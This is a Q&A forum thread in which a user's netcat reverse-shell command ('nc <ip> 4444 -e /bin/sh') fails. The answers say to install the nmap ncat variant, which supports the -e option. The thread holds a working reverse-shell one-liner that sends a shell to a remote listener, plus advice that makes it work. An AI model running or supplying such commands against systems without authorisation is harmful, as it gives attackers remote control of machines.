19

I am trying to get a shell on host machine from another (attacker) machine. Attacker machine is listening. I am running below command on my host machine

nc 123.123.123.12 4444 -e /bin/sh

Output I get:

nc: invalid option -- 'e'

usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
      [-m minttl] [-O length] [-P proxy_username] [-p source_port]
      [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
      [-X proxy_protocol] [-x proxy_address[:port]]       [destination] [port]
1
  • 1
    Welcome to the site. It would seem that you are running a version of netcat that simply doesn't support this option; the "usage" message displayed doesn't include one, if you look carefully. netcat is not as standardized as other tools in the Linux/Unix world, and supported options may differ across variants, see e.g. this question and answer on superuser.com.
    – AdminBee
    Apr 30, 2020 at 6:45

3 Answers 3

25

There are multiple variants of netcat. Install the version of netcat developed by nmap.org

On my Ubuntu system, there are 2 packages netcat and ncat. The one from nmap is ncat and supports the -e option. The other one does not.

You need to find the right package for your distribution.

EDIT: On Kali Linux (2022.3), the packages netcat-openbsd and netcat-traditional will install the netcat version without the -e option. If you want the one with the -e option, install the package ncat. After installing ncat, the binary to launch will be /usr/bin/ncat

2
  • i was able to install ncat in kali linux but in mint it says unable to locate package ncat Apr 30, 2020 at 8:51
  • @Tarandeepsingh I am 3 years late but make sure you do a sudo apt update before trying to install ncat
    – GMaster
    Apr 20, 2023 at 2:09
3

As @GMaster suggested, you need to get the nmap variant of ncat using the following command:

$ apt install ncat

After that, use ncat command instead of nc.

1

Happened to me when I wanted to make reverse shell, but failed because of this message:

nc: invalid option -- 'e'

Here I used ncat instead of nc and all has same functionalities.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .